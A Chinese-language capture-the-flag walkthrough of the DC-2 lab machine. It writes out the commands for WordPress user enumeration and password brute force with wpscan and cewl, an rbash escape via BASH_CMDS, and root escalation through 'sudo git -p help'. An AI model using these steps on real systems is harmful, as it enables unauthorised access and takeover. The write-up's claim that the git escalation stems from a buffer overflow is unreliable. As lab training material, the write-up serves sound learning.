DC-2
关于环境的搭建 , 大家可以自行百度
网络桥接
渗透机 kali
靶机 dc-2 需要修改/etc/hosts
0x01. 信息收集
1. 查看当前网段
2. 扫描存活主机 , 确定靶机ip
可以看到靶机的ip是192.168.0.131
3. 扫描ip开放的端口 , 全端口
nmap -A -T4 -p 0-65535 192.168.0.131
开放的有 80 , 7744 , 这里可以看到7744端口是ssh协议 , 可以先访问一下 80 端口
看到了第一个flag , 根据提示需要登录找到下一个flag , 如果找不到 , 你就换个用户登录 。
在扫描端口的时候,发现是wordpress搭建的网站 ,我们可以使用dirsearch对网站进行目录扫描
发现后台的路径 , /wp-admin/ , 这个时候我们可以使用wpscan对网站进行用户的枚举
wpscan --url http://dc-2/ -e
然后我们根据提示用cewl生成密码 ( kali下一款密码生成工具 ) , 然后通过wpscan进行爆破
wpscan --url http://dc-2/ -U username.txt -P passwd.txt
爆出两个用户 , 进行登录 , 使用tom账号登录没有发现flag2 , 然后更换jerry账号 , 在里面发现了flag2
根据flag2的提示 , 让我们换一种思路 , 我们可以尝试对ssh协议进行爆破 , 可以先用得到的账号和密码试试能不能登录
0x02. 换个思路
1. 绕过rbash
ssh tom@192.168.0.131 -p 7744
使用 tom 账号直接就可以登录了
tom@DC-2:~$ ls
flag3.txt usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
在 tom 账号里面发现 flag3.txt , 但是通过cat命令无法打印 , 这里通过echo $PATH , 查看当前用户的环境变量
发现是家目录下的usr/bin , ls 一下, 看看有哪些命令可以用
tom@DC-2:~$ ls usr/bin
less ls scp vi
可以通过vi命令 , 编辑flag3.txt , 查看文件具体内容
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
看到这个提示估计是要切换jerry用户了
tom@DC-2:~$ su jerry
-rbash: su: command not found
但是提示我们没有su 命令 , 这里-rbash , 是一种被限制的shell , 通过网上寻找方法 , 通过下面的方法可以绕过
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=/bin
tom@DC-2:~$ su -jerry
登录到jerry用户 , 发现flag4.txt , 然后提示我们git , 估计要通过git提权
jerry@DC-2:~$ lsflag4.txtjerry@DC-2:~$ cat flag4.txtGood to see that you've made it this far - but you're not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you're on your own now. :-)Go on - git outta here!!!!
2. git提权
依旧是百度找到了提权方法
这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。
sudo git -p help
0x03. 总结这个靶机涉及到的点
1. linux下的hosts文件路径
/etc/hosts
2. cewl工具
CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。
cewl http://www.ignitetechnologies.in/ //默认方法cewl http://www.ignitetechnologies.in/ -w dict.txt //-wcewl http://www.ignitetechnologies.in/ -m 9 //生成长度至少为9的密码 -mcewl http://www.ignitetechnologies.in/ -n -e //从网站中获取Email -ecewl http://www.ignitetechnologies.in/ -c //计算网站字典中重复的单词数量 -ccewl http://www.ignitetechnologies.in/ -d 3 //增加爬虫的爬取深度以生成更大的字典文件 -dcewl http://www.ignitetechnologies.in/ --debug //提取调试信息 -debug
3. WPScan工具
转载两篇大佬的文章,写得挺详细的https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程
4. linux的环境变量
PATH变量:设定解释器搜索所执行的的命令的路径。
export命令可以把一般变量转换成全局变量
5. rbash逃逸
https://xz.aliyun.com/t/7642 rbash逃逸大全
6. git提权
sudo git help config !/bin/bash或者!'sh'完成提权sudo git -p help